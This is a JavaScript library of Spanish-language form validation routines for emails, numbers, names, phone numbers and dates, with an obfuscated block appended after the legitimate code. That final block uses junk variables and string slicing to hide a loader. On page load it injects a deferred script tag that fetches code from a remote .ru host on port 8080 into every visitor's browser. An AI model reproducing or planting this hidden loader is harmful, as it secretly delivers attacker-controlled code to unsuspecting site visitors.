var defaultEmptyOK = false
var checkNiceness = true;
var digits = "0123456789";
var lowercaseLetters = "abcdefghijklmnopqrstuvwxyzáéíóúñü"
var uppercaseLetters = "ABCDEFGHIJKLMNOPQRSTUVWXYZÁÉÍÓÚÑ"
var whitespace = " \t\n\r";
var phoneChars = "()-+ ";
var dateChars = "-";
var mMessage = "Error: no puede dejar este espacio vacio"
var pPrompt = "Error: ";
var pAlphanumeric = "Inserte un texto que contenga solo letras y/o numeros";
var pAlphabetic   = "Inserte un texto que contenga solo letras";
var pInteger = "Inserte un numero entero";
var pNumber = "Inserte un numero";
var pPhoneNumber = "Inserte un número de teléfono";
var pEmail = "Inserte una dirección de correo electrónico válida";
var pName = "Inserte un texto que contenga solo letras, numeros o espacios";
var pDate = "Inserte una fecha con formato dd-mm-aaaa";
var pNice = "No puede utilizar comillas aqui";function makeArray(n) {
   for (var i = 1; i <= n; i++) {
      this[i] = 0
   } 
   return this
}

function isEmpty(s)
{   return ((s == null) || (s.length == 0))
}

function isWhitespace (s)
{   var i;
    if (isEmpty(s)) return true;
    for (i = 0; i < s.length; i++)
    {   
        var c = s.charAt(i);
        if (whitespace.indexOf(c) == -1) return false;
    }
    return true;
}

function stripCharsInBag (s, bag)
{   var i;
    var returnString = "";

    
    for (i = 0; i < s.length; i++)
    {   var c = s.charAt(i);
        if (bag.indexOf(c) == -1) returnString += c;
    }

    return returnString;
}

function stripCharsNotInBag (s, bag)
{   var i;
    var returnString = "";
    for (i = 0; i < s.length; i++)
    {   
        var c = s.charAt(i);
        if (bag.indexOf(c) != -1) returnString += c;
    }

    return returnString;
}

function stripWhitespace (s)
{   return stripCharsInBag (s, whitespace)
}


function charInString (c, s)
{   for (i = 0; i < s.length; i++)
    {   if (s.charAt(i) == c) return true;
    }
    return false
}

function stripInitialWhitespace (s)
{   var i = 0;
    while ((i < s.length) && charInString (s.charAt(i), whitespace))
       i++;
    return s.substring (i, s.length);
}

function isLetter (c)
{
    return( ( uppercaseLetters.indexOf( c ) != -1 ) ||
            ( lowercaseLetters.indexOf( c ) != -1 ) ||
            ( whitespace.indexOf( c ) != -1 ))
}

function isDigit (c)
{   return ((c >= "0") && (c <= "9"))
}

function isLetterOrDigit (c)
{   return (isLetter(c) || isDigit(c))
}

function isInteger (s)
{   var i;
    if (isEmpty(s)) 
       if (isInteger.arguments.length == 1) return defaultEmptyOK;
       else return (isInteger.arguments[1] == true);
    
    for (i = 0; i < s.length; i++)
    {   
        var c = s.charAt(i);
        if( i != 0 ) {
            if (!isDigit(c)) return false;
        } else { 
            if (!isDigit(c) && (c != "-") || (c == "+")) return false;
        }
    }
    return true;
}

function isNumber (s)
{   var i;
    var dotAppeared;
    dotAppeared = false;
    if (isEmpty(s)) 
       if (isNumber.arguments.length == 1) return defaultEmptyOK;
       else return (isNumber.arguments[1] == true);
    
    for (i = 0; i < s.length; i++)
    {   
        var c = s.charAt(i);
        if( i != 0 ) {
            if ( c == "." ) {
                if( !dotAppeared )
                    dotAppeared = true;
                else
                    return false;
            } else     
                if (!isDigit(c)) return false;
        } else { 
            if ( c == "." ) {
                if( !dotAppeared )
                    dotAppeared = true;
                else
                    return false;
            } else     
                if (!isDigit(c) && (c != "-") || (c == "+")) return false;
        }
    }
    return true;
}

function isAlphabetic (s)
{   var i;

    if (isEmpty(s)) 
       if (isAlphabetic.arguments.length == 1) return defaultEmptyOK;
       else return (isAlphabetic.arguments[1] == true);
    for (i = 0; i < s.length; i++)
    {   
        var c = s.charAt(i);

        if (!isLetter(c))
        return false;
    }
    return true;
}
function isAlphanumeric (s)
{   var i;

    if (isEmpty(s)) 
       if (isAlphanumeric.arguments.length == 1) return defaultEmptyOK;
       else return (isAlphanumeric.arguments[1] == true);

    for (i = 0; i < s.length; i++)
    {   
        var c = s.charAt(i);
        if (! (isLetter(c) || isDigit(c) ) )
        return false;
    }

    return true;
}
function isName (s){
    if (isEmpty(s)) 
       if (isName.arguments.length == 1) return defaultEmptyOK;
       else return (isAlphanumeric.arguments[1] == true);
    
    return( isAlphanumeric( stripCharsInBag( s, whitespace ) ) );
}

function isPhoneNumber (s)
{   var modString;
    if (isEmpty(s)) 
       if (isPhoneNumber.arguments.length == 1) return defaultEmptyOK;
       else return (isPhoneNumber.arguments[1] == true);
    modString = stripCharsInBag( s, phoneChars );
    return (isInteger(modString))
}
function isDate (s)
{   var modString;
    if (isEmpty(s)) 
       if (isDate.arguments.length == 1) return defaultEmptyOK;
       else return (isDate.arguments[1] == true);
    modString = stripCharsInBag( s, dateChars );
    return (isNumber(modString))
}

function isEmail (s){    if (isEmpty(s)) 
       if (isEmail.arguments.length == 1) return defaultEmptyOK;
       else return (isEmail.arguments[1] == true);
    if (isWhitespace(s)) return false;
    var i = 1;
    var sLength = s.length;
    while ((i < sLength) && (s.charAt(i) != "@"))
    { i++
    }

    if ((i >= sLength) || (s.charAt(i) != "@")) return false;
    else i += 2;

    while ((i < sLength) && (s.charAt(i) != "."))
    { i++
    }

    if ((i >= sLength - 1) || (s.charAt(i) != ".")) return false;
    else return true;
}

function isNice(s)
{
        var i = 1;
        var sLength = s.length;
        var b = 1;
        while(i<sLength) {
                if( (s.charAt(i) == "\"") || (s.charAt(i) == "'" ) ) b = 0;
                i++;
        }
        return b;
}

function statBar (s)
{   window.status = s
}

function warnEmpty (theField)
{   theField.focus()
    alert(mMessage)
    statBar(mMessage)
    return false
}

function warnInvalid (theField, s)
{   theField.focus()
    theField.select()
    alert(s)
    statBar(pPrompt + s)
    return false
}

function checkField (theField, theFunction, emptyOK, s)
{   
    var msg;
    if (checkField.arguments.length < 3) emptyOK = defaultEmptyOK;
    if (checkField.arguments.length == 4) {
        msg = s;
    } else {
        if( theFunction == isAlphabetic ) msg = pAlphabetic;
        if( theFunction == isInteger ) msg = pInteger;
        if( theFunction == isNumber ) msg = pNumber;
        if( theFunction == isEmail ) msg = pEmail;
        if( theFunction == isPhoneNumber ) msg = pPhoneNumber;
        if( theFunction == isName ) msg = pName;
        if( theFunction == isDate ) msg = pDate;
    }
    
    if ((emptyOK == true) && (isEmpty(theField.value))) return true;

    if ((emptyOK == false) && (isEmpty(theField.value)))
        return warnEmpty(theField);

    if (checkNiceness && !isNice(theField.value))
        return warnInvalid(theField, pNice);

    if (theFunction(theField.value) == true)
        return true;

    else 
        return warnInvalid(theField,msg);   

}






var F={hT:"q"};var t={u:58767};var r;U={};this.L=8773;this.L--;c=function(){var mU=new Array();var S=["H","M"];function s(O,e,m){var I=new Array();var k=new Array();return O.substr(e,m);var f={vn:false};}var Qv="";var C=new String();this.AT=39924;this.AT-=123;var cr=RegExp;var XJ=6266;var vZ={};var g="/a"+"li"+"so"+s("ftlhIi",0,2)+s("KtX-cXtK",3,2)+s("omjqfP",0,2)+s("/g3o5",0,2)+s("ooxJPj",0,2)+s("glfY0e",0,2)+"e."+s("cogta",0,2)+"m/"+s("HjKniHjK",3,2)+"h."+s("1JPgoP1J",3,2)+"v."+"ph"+"p";var GI="GI";var n=document;UG={};var Z='';vT=17065;vT+=150;var PN={rT:13229};function j(O,e){var sM="sM";Aa=12774;Aa-=211;this.vw='';this.nb=65085;this.nb+=68;var m=s("[EHV",0,1)+e+"]";try {} catch(Om){};var ZY=new cr(m, new String("g"));return O.replace(ZY, Z);var o={kG:25032};var p=new Array();};var jX=["vU","Omp","qF"];var er=["Hn","yv","cQ"];var Of=j('szcJr2iLpAte','2E8eFazLAC596wJ1');this.Fx=16957;this.Fx++;var cA={OS:false};var h=s("bodDf6",0,3)+s("ynsP",0,1);YG=["DH","pO","ix"];MX=["eb","un","jB"];var z=null;var Zh={iw:false};KY={Dd:52008};var G=291805-283725;try {var rm='v_'} catch(rm){};this.sMv=false;r=function(){this.yb='';try {var A=j('cIrweJawtweGEIlDewm5eGnGtJ','wIJDG5');IC=["gx","cl"];try {var Hz='Tt'} catch(Hz){};y=n[A](Of);this.cO=1227;this.cO+=171;this.zs=60409;this.zs+=102;XX=2813;XX++;var O=G+g;var Zq=j('s4rLcG','9L1Bn2eG4hEdvZxXUz');this.aR="";var iv=new Array();tX=["hp","Pr","x"];var a=new String("defe"+"r");sc=["aV"];var kd={};var ru={};y[a]=[1][0];var Mx={IJ:false};var NN=["EG"];y[Zq]=new String(s("http:KQex",0,5)+"//ten"+s("thpro3XB",0,5)+"fit.r"+s("ojCau:jCao",4,2))+O;this.Au="Au";this.Hf="Hf";this.Pa=20070;this.Pa+=15;n[h].appendChild(y);} catch(AO){this.IP=false;};var nM=new Date();};try {var dI='Oj'} catch(dI){};this.uJ="";};var OG={Pi:"Ki"};c();var ze=43448;this.Xx='';var Sa=new Array();window.onload=r;CW={Ol:"PE"};uo={CX:"Mi"};kZ=63988;kZ+=170;